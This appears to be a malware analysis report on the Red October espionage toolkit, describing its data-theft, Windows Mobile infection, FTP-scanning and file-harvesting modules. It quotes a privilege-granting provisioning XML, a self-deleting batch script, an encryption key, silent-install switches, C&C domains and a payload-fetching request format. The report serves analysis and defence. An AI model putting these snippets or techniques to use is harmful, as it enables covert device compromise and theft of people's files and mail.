Extracts meetings, birthdays, memos, reminders, notes, 'To Do' lists with repetition attributes 'NONE', 'ILY' (I suppose it
means 'DAILY' but authors must have mistyped), 'WEEKLY', 'MONTHLY', 'YEARLY' or 'Unknown'; with priority attributes
'HIGH', 'NORMAL', 'LOW' or 'Unknown'; with action attributes 'NEEDS_ACTION', 'COMPLETED' or 'Unknown'; with alarm
attributes 'NOT_SET', 'SILENT', 'WITH_TONE' or 'UNKNOWN'; with starting/ending time, subject, location and status. The
module writes everything to a log file.
Contacts:
Extracts all contacts with the following fields: ME, FROMAL_NAME, MIDDLE_NAME, ST_NAME, TITLE, SUFFIX,
COMPANY, JOB_TITLE, BIRTHDAY, NICKNAME, GENERAL_NUMBER, HOME_NUMBER, WORK_NUMBER,
PREF_NUMBER, R_NUMBER, GER_NUMBER, MOBILE_NUMBER, MOBILE_HOME_NUMBER,
MOBILE_WORK_NUMBER, X_NUMBER, X_HOME_NUMBER, X_WORK_NUMBER, VIDEO_CALL_NUMBER,
VOIP_NUMBER, VOIP_HOME_NUMBER, VOIP_WORK_NUMBER, POSTAL_ADRESS, BUSINESS_POSTAL_ADRESS,
HOME_POSTAL_ADRESS, EMAIL_ADRESS, HOME_EMAIL_ADRESS, WORK_EMAIL_ADRESS, WEB_ADRESS,
HOME_WEB_ADRESS, WORK_WEB_ADRESS, PTT_ADRESS, VIDEO_ADRESS, SWISS_ADRESS. The module writes
everything to a log file.
Applications:
Retrieve information about applications which have already been installed on a device. Also monitors if user
installs/uninstalls any SIS/SISX/J2ME application. The module writes everything to a log file.
File types:
Looks for files from root directory (txt, cdb, doc, docx, xls, xlsx, ppt, pptx, dot, dotx, odt, djvu, odts, reg, rtf, zip, rar, pdf, 7z,
wab, pab, vcf, ost, jpg, waw, mp4, m4a, amr, exe, log, cer, eml, msg, arc, key, pgp, gpg) and tries to retrieve them.
Modules for Windows Mobile
Windows files
Known files
MD5 Compilation date (encrypted) 70bee4d4141e6d963aa72a0da08b6683 11:14:22, July 8, 2011
09b4f1e0c03d7dbdac402df4c0625167 15:52:36, October 19, 2010
70bee4d4141e6d963aa72a0da08b6683 (724992 bytes)
Creates log file in the following path '%%TMP%%\tmp_m.%p.%p.dat' where all information about the module's work will be
written and writes 'Application starting, version 2.0.0.2, obj: %s'. Module uses the same time/date format as in the Nokia
module ('year-month-date hours-minutes-seconds') after every new log entry.
Creates mutex "dfgber7t8234ytfndfugh5vndfuvh4".
Initialize RAPI.dll and following API functions:
CeSHCreateShortcut
CeGetSpecialFolderPath
CeFindClose
CeFindFirstFile
CeRegEnumKeyEx
CeRegEnumValue
CeWriteFile
CeCreateFile
CeReadFile
CeCreateProcess
CeCloseHandle
CeDeleteFile
CeGetLastError
CeRegQueryValueEx
CeRegCloseKey
CeRegCreateKeyEx
CeRegSetValueEx
CeRegOpenKeyEx
CeRapiUninit
CeRapiInitEx
CeRapiInit
After that it checks the ActiveSync version and writes information to a log file.
Creates event 'dfjsbnegisfgsafgdsgcxrte'.
Deletes 'ActiveSync Connection Service' value in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'. If the module wasn't
able to delete this value it creates 'delex.bat' file in TMP folder:
:Repeat
del 'path_to_itself'
if exist 'path_to_itself' goto Repeat
del "C:\DOCUME~1\'USER_NAME'\LOCALS~1\Temp\delex.bat"
And after that launches it.
Windows Mobile device thread
Module uses WaitForSingleObject API function and waits for a device to be connected. If device is connected then it writes
'Device connected' to a log file and calls a subroutine which initializes a connection and gets information like devices' name,
OS version, CLSID which is written to a log file.
The module also checks the associations (in a registry of a device) between certain file types and applications for these file
types on a device and writes this information to a log file:
PDF (PDF viewer): pdf
WCELOAD (CAB file installer): cab
WMPLAYER (Windows Media Player): mp4, 3gp, amr, avi, wav, wma, wmv, asf, midi, aac, mp3d, mp3
IEXPLORE1 (Internet Explorer): res, wsp, file, https, ftp, http, url, ico, html, xml, xhtml, xsl
PPT (Pocket PowerPoint): ppt, pps, pptx, pptm, ppsx, ppsm
PIMG (Pocket image viewer): jfif, gif, png, bmp, jpg
PXL (Pocket Excel): pxl, pxt, xls, xlt, xlsx, xltx, xlsm, xltm
PWORD (Pocket Word): rtf, psw, dot, dotx, docx, docm, dotm, pwt, doc, txt
Working with Windows Mobile device
XML Provisioning
First the module tries to inject an XML provisioning document on a device.
Loads the provisioning doc on a device:
<wap-provisioningdoc>
<characteristic type="SecurityPolicy">
<parm name="4119" value="16"/>
</characteristic>
</wap-provisioningdoc>
4119 - This setting grants the system administrative privileges held by SECROLE_MANAGER to other security roles. Value
'16' is User Authenticated role.
4101 - This setting indicates whether unsigned .cab files can be installed on the device. Value '222' indicates that only OEM,
Operator, Manager, UserAuth, UserUnAuth, Operator-TPS can run unsigned .cab file.
4102 - This setting indicates whether unsigned applications are allowed to run on Windows Mobile devices. Value '1'
indicates that unsigned applications are allowed to run on the device.
4097 - This setting restricts the access of remote applications that are using Remote API (RAPI) to implement ActiveSync
operations on Windows Mobile devices. Value '1' indicates full access to ActiveSync is provided. RAPI calls are allowed to
process without restrictions.
4123 - This setting specifies which security model is implemented on the device. Value '1' indicates that a one-tier security
model is enabled. A device with one-tier access focuses only on how an application should run based on whether the
application is signed with a certificate in the device certificate store. There is no concern with permission restriction.
4122 - This setting indicates whether a user is prompted to accept or reject unsigned .cab, theme, .dll and .exe files. Value
'1' indicates the user will not be prompted.
'Zakladka' and other modules injection
NB: all injected modules below are copied to '\Windows\' directory on a Windows Mobile device.
If XML provisioning doc was injected successfully the module tries to install the so-called 'Zakladka' module with
'winupdate.dll' name.
After 'Zakladka', the module injects the 'winupdate.cab' file, which is a provisioning XML file in archive with a certificate inside.
The certificate is encoded with Base64.
After 'winupdate.cab' module injects the 'winupdate.cfg' file, which is a configuration file that contains mobile country codes
with mobile network codes.
After 'winupdate.cfg' the module injects 'calc.exe' file, an application for removing other modules from Windows Mobile
device.
The module then creates backup file '\Windows\winupdate.dat' with 'zakladka' and other Windows Mobile modules inside.
The backup file is encrypted with RC4 and 'q12ioptyhednv347' key.
The module creates WinUpdate.exe ('\Windows' folder, 'zakladka' inside) and WinUpdate.lnk ('\Windows\StartUp' folder).
After 'calc.exe' the module injects consequentially 'word.exe', 'excel.exe', 'ppoint.exe', 'pdf_viewer.exe', 'wmplauer.exe',
'img.exe', 'iexplorer.exe', 'wceloader.exe' modules and changes file associations on the device. E.g. all Word files and other
text documents will be opened with 'word.exe', all images will be opened with 'img.exe', etc.
File 'pdf_viewer.exe' is an application for launching other Windows Mobile modules. After that it tries to launch
'pdf_viewer.exe' on a Windows Mobile device using 'CeCreateProcess' API function from rapi.dll library.
09b4f1e0c03d7dbdac402df4c0625167 (393216 bytes)
Creates mutex 'dfgbsdfjvabufqgwiffuvh4'.
Creates log file '%%TMP%%\tmp_mu.%p.%p.dat' and writes to a log file, 'Updater started, Version 1.0.0.0 s'. The module
uses the same time/date format as in the Nokia module ('year-month-date hours-minutes-seconds') after every new log
entry.
Opens event 'dfjsbnegisfgsafgdsgcxrte'. Initializes RAPI.dll and following API functions:
CeRegEnumKeyEx
CeRegEnumValue
CeWriteFile
CeCreateFile
CeReadFile
CeCreateProcess
CeCloseHandle
CeDeleteFile
CeGetLastError
CeRegQueryValueEx
CeRegCloseKey
CeRegCreateKeyEx
CeRegSetValueEx
CeRegOpenKeyEx
CeRapiUninit
CeRapiInitEx
CeRapiInit
Creates thread 'dfjssdfgsdffgdsgcxrte' and 'delex.bat' file in TMP folder (for deleting itself if the mutex hasn't been created or
after it finished its work):
:Repeat
del 'path_to_itself'
if exist 'path_to_itself' goto Repeat
del "C:\DOCUME~1\'USER_NAME'\LOCALS~1\Temp\delex.bat"
Windows Mobile device thread
This module uses the WaitForSingleObject API function and waits for a device to be connected. If a device is connected then
it writes 'Device connected' to a log file and calls a subroutine which initializes a connection and gets information like the
device's name, OS version, CLSID, all of which is written to a log file.
Injects 'Update.exe' file to '\Windows\' directory with 'Update.exe' name. After that it tries to launch a file on a Windows Mobile
device using 'CeCreateProcess' API function from rapi.dll library.
Windows Mobile files
Known variants
File name Internal name MD5 Compilation date "Size (in bytes) "
winupdate.dll zakladka 797541f87e2e3a9a0754a097772f3192 12:00:01, July 7, 2011 111944
calc.exe d41d8cd98f00b204e9800998ecf8427e 11:57:11,December 20, 2010 13824
excel.exe 93638cbba11d52b933d5da553048899e 11:57:10,December 20, 2010 7168
iexplorer.exe 06ff2157f98f312ceaa19cbef996660d 11:57:10,December 20, 2010 7168
img.exe 54c86037d2650630718180f24ce6f9d2 11:57:09,December 20, 2010 7168
pdf_viewer.exe 4af92c1758158644e50ddf32d9a74501 11:57:08,December 20, 2010 7168
powerpoint.exe e4c84caaf52b42d9615d2b35acda271a 11:57:09,December 20, 2010 7168
wceloader.exe 135eab2135cb589c655d75bc25921d8c 11:57:09,December 20, 2010 7168
wmplauer.exe da2ff3b983e24a49603d4ab61b0f05c3 11:57:09,December 20, 2010 7168
word.exe ea1e4cdf4072fd19fb97df2b7d88055a 11:57:08,December 20, 2010 7168
Update.exe 95914229c080a998b33d7dbcb199b231 14:01:15, October 19, 2010 59392
Backdoor component
File name: winupdate.dll
Internal name: zakladka
PE Exe file compiled with Microsoft Visual C++ 2005
Creates log file '\Temp\tmp%p.dat'.
Module loads XML provisioning doc (see above in Windows Mobile module for Windows).
Module obtains MCC (Mobile Country Code) and MNC (Mobile Network Code) from winupdate.cfg file of infected device and
writes this information to a log file.
Module tries to send in a C&C interaction loop a POST request to win-check-update.com (if that domain is unavailable, it
sends a request to mobile-update.com):
'POST %s HTTP/1.0 Accept: */* User-Agent: Mozilla/4.0 Content-Length: %d Host: %s'
As a response from a remote server, the module receives a file which is stored in \Windows\%u.exe file and executed.
C&Cs:
win-check-update.com
mobile-update.com
Eraser component
File name: calc.exe
PE Exe file compiled with Microsoft Visual C++ 2005
Creates process 'MobileCalculator.exe'. Decrypts file '\Windows\WinUpdate.dat' with 'q12ioptyhednv347' key. Deletes files
'word.exe', 'excel.exe', 'ppoint.exe', 'img.exe', 'wmplauer.exe', 'iexplorer.exe', 'wceloader.exe', 'pdf_viewer.exe',
'WinUpdate.exe', from '\Windows' directory. Retrieves type and data from '\System\Explorer\Shell Folders\StartUp\' registry
key. Deletes 'WinUpdate.lnk' file.
Launcher components
File names: pdf_viewer.exe, word.exe, excel.exe, iexplorer.exe, img.exe, powerpoint.exe, wceloader.exe, wmplauer.exe
All files are compiled with PE Exe file compiled with Microsoft Visual C++ 2005.
After launch, the module tries to configure device with an XML provisioning document. All the values and fields in this XML (it
is stored inside file) are the same as in Windows Mobile module for Windows.
After that it launches a Windows Mobile application wceload.exe (CAB installer) on a file winupdate.cab (previously uploaded
to the device by Windows module to '\Windows' directory) with '/silent /noui'. These parameters make the installation
completely hidden from user.
Creates a registry key 'Services\Windows Update\' and registers file '\Windows\winupdate.dll' as a service using the
'RegisterService' API function (launches it).
Launches 'calc.exe' (Remover) file from '\Windows' directory. After that it launches legitimate applications (like pword.exe,
pxl.exe, iexplore1.exe or others) which are associated with certain file types.
Updater component
File name: Update.exe
Module launches a Windows Mobile application wceload.exe (CAB installer) on a file '\Windows\cert.cab' with '/silent /noui'.
These parameters make the installation absolutely hidden from user.
WNFTPSCAN module
Known variants:
8bcd66ce8904e87f5cdfc1ad5b071ccb 2012.09.05 07:02:32 (GMT)
931391d484ff56b0a142f64ee47aff88 2012.09.05 07:02:32 (GMT)
Summary
This module is a simple non-interactive FTP client. It is used to go through all subdirectories on specified FTP server, using
credentials specified in config/script stored in its resource section. The main purpose of this module is to make directory
listings, copy files of interest (JPG, DOC, PPT, XLS, EMF, PDF) which are smaller than 1 MB and not older than specified
date. The module is also capable of checking if remote FTP directories are available for write-access, but this functionality is
currently not used.
DllMain
main function of the module is named "task_wnftpscan" and is registered in the framework. Then, it starts the framework
SetOption(conn_a.D_CONN, [65] "windowscheckupdate.com;windows-genuine.com;windowsonlineupdate.com")
SetOption(conn_a.D_NAME, [15] "/cgi-bin/win/cab")
SetOption(conn_a.D_USER, [21] %removed% )
SetOption(conn_a.J_CONN, [65] "windowscheckupdate.com;windows-genuine.com;windowsonlineupdate.com")
SetOption(conn_a.J_NAME, [15] "/cgi-bin/win/wcx")
SetOption(conn_a.J_USER, [21] %removed% )
SetOption(ftp_host, %removed% )
SetOption(ftp_port, %removed% )
SetOption(ftp_user, %removed% )
SetOption(ftp_pass, %removed% )
SetOption(ftp_crdir, "0" )
SetOption(ftp_getlist, "1" )
SetOption(ftp_max_file_size, "1000000" )
SetOption(ftp_min_file_size, "10" )
SetOption(ftp_file_time, "2012-10-30 00:00:00" )
SetOption(ftp_file_ac_re)
SetOption(ftp_ac_re, ".*\.jpg" )
SetOption(ftp_ac_re, ".*\.jpeg" )
SetOption(ftp_ac_re, ".*\.doc" )
SetOption(ftp_ac_re, ".*\.docx" )
SetOption(ftp_ac_re, ".*\.txt" )
SetOption(ftp_ac_re, ".*\.xls" )
SetOption(ftp_ac_re, ".*\.xlsx" )
SetOption(ftp_ac_re, ".*\.ppt" )
SetOption(ftp_ac_re, ".*\.pptx" )
SetOption(ftp_ac_re, ".*\.emf" )
SetOption(ftp_ac_re, ".*\.pdf" )
Call(task_wnftpscan)
Main function (task_wnftpscan)
The config defines parameters for the method task_wnftpscan, which uses WinInet library functions to connect to remote
FTP server using parameters set in the config and iterate trough directories.
It uses PCRE library to check if remote file extensions. Config option ftp_getlist=1 makes the code log every directory listing.
Option ftp_crdir is set to 0, which prevents the code from checking if write-access is available. If it was set to 1 in the config,
then the module would try to create "tmp" subdirectory in every remote directory it goes in. There are max and min file size
constraints, set to 1MB and 10 bytes respectively.
Additionally there is a date constraint which is set to 2012-10-30, indicating the earliest date of interest. Seems that attackers
have already fetched files before that date.
When writing to the in-memory logs the module prints a banner "FtpClient V4.0", which is probably an alternative name for
the module or the code was reused from some other project. In the end of work it adds "WMFTPSCAN END" to the log.
After collecting logs and fetching files in memory, the module compiles all data together, compresses using Zlib methods,
encrypts, encodes with Base64 and uploads to one of the command and control servers specified in the config.
This module doesn't change registry, nor does it created any local files.
After completing FTP directory scanning and file retrieval, the module sends logs and collected files to the C&C server. The
connection options are retrieved from the configuration (resource):
Base64-encoded.
GetFileReg module
Known variants (all share the same code section, differ in resources):
163CEE95FA3EF1469030F0BFEC0EB64C 2011.07.18 07:03:52 (GMT)
CC0F35631D7F69EB087F31754FA9635A 2011.07.18 07:03:52 (GMT)
E8711B9DBB3E7A6FBC1DF70F7131520C 2011.07.18 07:03:52 (GMT)
469F4B81A01B1577531812385CAC827E 2011.07.18 07:03:52 (GMT)
E8711B9DBB3E7A6FBC1DF70F7131520C 2011.07.18 07:03:52 (GMT)
A8B8F616FFD94D34E4E188657A5C8BA7 2011.07.18 07:03:52 (GMT)
E461B07E2A11ED13DDC0F27162545DE1 2011.07.18 07:03:52 (GMT)
The file is a PE DLL file, 0 exports, compiled with Microsoft Visual Studio 2008. All functionality is implemented in the DllMain
function.
DllMain function
When loaded, the module deletes the file named "dump", then proceeds to its main function. After executing the main
function, the module tries to delete the same file again.
Main function
First, the module initializes its main object and log headers, i.e.
@fileinforeg_log\GETFILEREG_STARTED_V1_%s.txt
@fileinforeg_log\GETFILEREG_V1_%s.txt
Then, it retrieves its resource of type "AAA" and name "BBB". The resource is expected to be an INI file compressed using
Zlib. The module decompresses the data and parses the whole INI file. It extracts data from the following INI sections:
INI section name Description
i_getfile Directory traversal and file matching rules
Common On/off switches for features, global settings
conn_a C&C server connection parameters
keylogger Identified but not used
Common options
i_getfile_all_dbx
Extract data from all files with 'dbx' extension (Outlook Express mail
archives)
i_getfile_all_tbebat Extract data from all files with 'tbb' extension (The Bat mail archives)
i_getfile_all_thunderbird Extract data from all Thunderbird mail archives
i_getfile_all_disks Traverse all fixed and network disks
i_getfile_all_netdisks Traverse system network shares
i_getfile_all_netshared Traverse computer's network shares
f_time_min Minimum file creation or modification time to look for
f_time_max Maximum file creation or modification time to look for
f_total_send_size_max Global limit on the data to be sent to the C&C server
f_max_size Maximum file size to look for
f_min_size Minimum file size to look for
spec_check_task_existance_a
Save last traversal time value and modify minimum file time option
depending that value
i_getfile options
The following options apply only to the "i_getfile" section they are specified in
Option name Description f_max_size Maximum file size to look for f_min_size Minimum file size to look for f_time_min
Minimum file creation or modification time to look for f_time_max Maximum file creation or modification time to look for
f_regexp_a Regular expression to match against the filename (must match) f_regexp_d Regular expression to match against
the filename (must not match, exclusion list) f_search_path Directories to traverse f_delete_file Delete the file after sending
its contents to the C&C server
Conn_a options
D_CONN List of C&C server domain names, separated with ';'
D_NAME Relative URL
D_RPRT TCP port of the C&C server
D_SPRT Not used
D_USER Unique ID of the victim
D_MODE Not used
D_PASS Not used
J_CONN Not used
J_NAME Not used
J_RPRT Not used
J_SPRT Not used
J_USER Not used
J_MODE Not used
J_PASS Not used
VERSION_ID Sent to C&C
VER_SESSION_ID Not used
SEND_DELAY_TIME Not used
After parsing the INI file, the module tries to raise its privileges by logging on as a user with administrative rights. It looks for
suitable credentials in an encrypted file named "adt.dat" in the directories with CSIDLs:
CSIDL_LOCAL_APPDATA (%LOCALAPPDATA%, %USERPROFILE%\AppData\Local)
CSIDL_COMMON_APPDATA (%ALLUSERSPROFILE%)
The module sends several types of packets to the C&C server.
The first packet is sent after the configuration is read, it contains the string "===" and starts with a string "Subject:
Reflebt"
Intermediate packets are sent when every traversal operation is finished, it also contains the contents of the internal log
file and starts with a string "Subject: Refleut"
Contents of the stolen files are sent in separate packets, they are split in chunks of size 511950 bytes (regular files) or
512000 (e-mails) bytes, starting with a string "Subject: Refleut"
The final packet is sent after all operations are completed, it contains a string "===" and starts with a string "Subject:
Refleet".
The data sent to the C&C server is compressed with Zlib and encrypted with a modified PKZIP stream cipher, and then it is
Base64-encoded.
Directory traversal
Depending on the configuration file, the module may traverse different directories:
For each "i_get_file" configuration section, the module traverses the directories named in "f_search_path" values of the same
section.
If the "i_getfile_all_disks" global option is set, the module traverses all fixed and mounted network drives.
If the "i_getfile_all_netdisks" global option is set, the module searches for available network shares and tries to mount
"\\%computer%\%drive%$" system shares for drive names from 'C' to 'F', then traverses these shares.
If the "i_getfile_all_netshared' global option is set, the module searches for all available network shares and traverses them.
The directories are traversed recursively, with a hardcoded depth limit of 100.
The global option "spec_check_task_existance_a" modifies the traversal and matching rules for local and network disks. If
this option is set, the module tracks the time of the last traversal of each disk in a file named "%DRIVE%\System
Restore\System Restore Point". This file is then used to correct the minimum file creation/modification rules so that the
module skips the files that it should have already processed.
File matching rules
The module applies the same matching routine to all files found while traversing the disks, folders and network shares.
For each file, the module checks if the file's creation and modification time satisfy both minimum and maximum configuration
values, its size is within the allowed range and the filename is matched by at least one "f_regexp_a" regular expression and
is not matched against any "f_regexp_d" regular expression. If the file's properties satisfy all the requirements, the file is sent
to the C&C server.
Special processing is applied for the e-mail databases. The module can parse Outlook Express databases ("dbx" files), The
Bat databases ("tbb" files) and Thunderbird message storages. Depending on the configuration options, these files may be
read, processed and then extracted e-mail messages are sent to the C&C server.
After all operations are completed, the module sends the final C&C request with string "Subject: Refleet" and returns.
FileInfo module
Known variants (all share the same code section, differ in resources):
C9686F76F827D8B16C434C84FDF9BE06 09.10.2012 5:49
B6F2D2D27A91D99AB396AD7A4B4937DE 09.10.2012 5:49
AC83001F4228D92F1457E5841792EAC1 09.10.2012 5:49
Summary
The file is a PE DLL file with 2 exported functions, compiled with Microsoft Visual Studio 2010. All functionality is
implemented in the "START" function. The module is very similar to the "GetFileReg" module. It is stored on disk as an
encrypted file that is loaded by the "Scheduler" module.
Creates encrypted log files: "%TMP%\smrdprev\smrdprev_%p_%p.tmp", where "%p" parameters are formatted from the
return values of subsequent GetTickCount API calls.
Creates encrypted storage files: "%TEMP%\%08 hex digits%hst", where 8 hex digits represent the CRC32 checksum of the
current user's name.
Creates mutex: "Win32Wbem32Prefetchfamt"
START function
When started, the module initializes its log object with a new filename using a format string
"%TMP%\smrdprev\smrdprev_%p_%p.tmp", and sets the log header:
@LOG\FILEINFOAMT_1
Then, it creates four data collection and directory traversal objects and loads the configuration INI file. The configuration file
is loaded from the resource of type "BBB", name "AAA" and is decrypted using a custom AMPRNG cipher with a hardcoded
key.
The code of the module appears to be a new version or a fork of the "GetFileReg" module, so are the configuration options
extracted from the INI file.
INI section name Description
i_getfile Directory traversal and file matching rules
Common On/off switches for features, global settings
conn_a C&C server connection parameters, not used
Keylogger Identified but not used
net_res_acl (new in 'fileinfo') Network share traversal and matching rules
Common options
i_process_all_net_res (new
in 'fileinfo')
When turned on, only 'host_d' exclusion list is applied. When turned off,
only network paths matching 'host_a' are processed.
i_getfile_all_dbx
Extract data from all files with 'dbx' extension (Outlook Express mail
archives)
i_getfile_all_tbebat Extract data from all files with 'tbb' extension (The Bat mail archives)
i_getfile_all_thunderbird Extract data from all Thunderbird mail archives
i_getfile_all_disks Traverse all fixed and network disks
i_getfile_all_netdisks Traverse system network shares
i_getfile_all_netshared Traverse computer's network shares
f_total_send_size_max Global limit on the data to be sent to the C&C server
f_use_hash_storage (new in
'fileinfo')
Store MD5 hashes of files and e-mails that were already processed, skip
already processed items
spec_check_task_existance_a
Save last traversal time value and modify minimum file time option
depending that value
log_level (new in 'fileinfo') Level of log verbosity: 'normal', 'quiet', 'extend'
process_ldisks_sleep (new in
'fileinfo')
Delay between each traversal, 'PROC_LDISKS'
process_ndisks_sleep (new in
'fileinfo')
Delay between each traversal, 'PROC_NDISKS'
process_nshare_sleep (new
in 'fileinfo')
Delay between each traversal, 'PROC_NSHARES'
process_spaths_sleep (new
in 'fileinfo')
Delay between each traversal, 'PROC_SPATHS'
i_getfile options
The following options apply only to the "i_getfile" section they are specified in
f_use_hash_storage (new in
'fileinfo')
The same as in the 'common' section
f_regexp_a Regular expression to match against the filename (must match)
f_regexp_d
Regular expression to match against the filename (must not match,
exclusion list)
f_search_path Directories to traverse
f_delete_file Delete the file after sending its contents to the C&C server
net_res_acl options (new in "fileinfo")
host_a Regular expression of network locations that should be traversed
host_d Regular expression of network locations that should not be traversed (exclusion list)
Then, the module starts four threads and assigns each traversal object to a thread. Every thread has a distinct scope of
subjects to process:
1. Directories shared over the network, called "PROC_SHARES"
2. Disks shared over the network, called "PROC_NDISKS"
3. Search paths specified in "i_getfile" sections, called "PROC_SPATHS"
4. Local disks, called "PROC_LDISKS"
The actual file matching and directory traversal code is almost identical to the one implemented in "GetFileReg". There are
only minor updates to the algorithm:
Remote directory and disk paths are matched against "host_a" or "host_d" regular expressions. The remote location is
traversed only if "host_a" regular expression is matched, or if "i_process_all_net_res" is set and the location is not
matched by any of the "host_d" regular expressions.
Remote disks are enumerated from "C$" to "Z$"
If "f_use_hash_storage" option is turned on, the module creates a binary hash storage in a file named "%TEMP%\%08
hex digits%hst", where 8 hex digits represent the CRC32 checksum of the current user's name. It populates that storage
with information about every processed file, including file size, creation date and MD5 hash of file's name. The module
checks every new file this hash storage, and skips the file that were already processed.
Since traversal routines are now executed in separate threads, the "fileinfo" module introduces continuous mode of
operation. Four options control this behavior, each corresponding to one thread:
process_ldisks_sleep
process_ndisks_sleep
process_nshare_sleep
process_spaths_sleep
The directory traversal threads run their code in infinite loops, and "sleep" values specify the delay in milliseconds that
should pass between iterations.
Data exfiltration
Although the module extracts the C&C server information from its configuration file, it does not interact with the C&C server in
any way. All information including collected file names and contents is stored in its encrypted log files
("%TMP%\smrdprev\smrdprev_%p_%p.tmp").

Red October. Detailed Malware Description

Uploaded by

Document Information

Original Description:

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Red October. Detailed Malware Description

Uploaded by

Copyright:

Available Formats

Red October - Java Expl oi t Del i very Vector Anal ysi s -

You might also like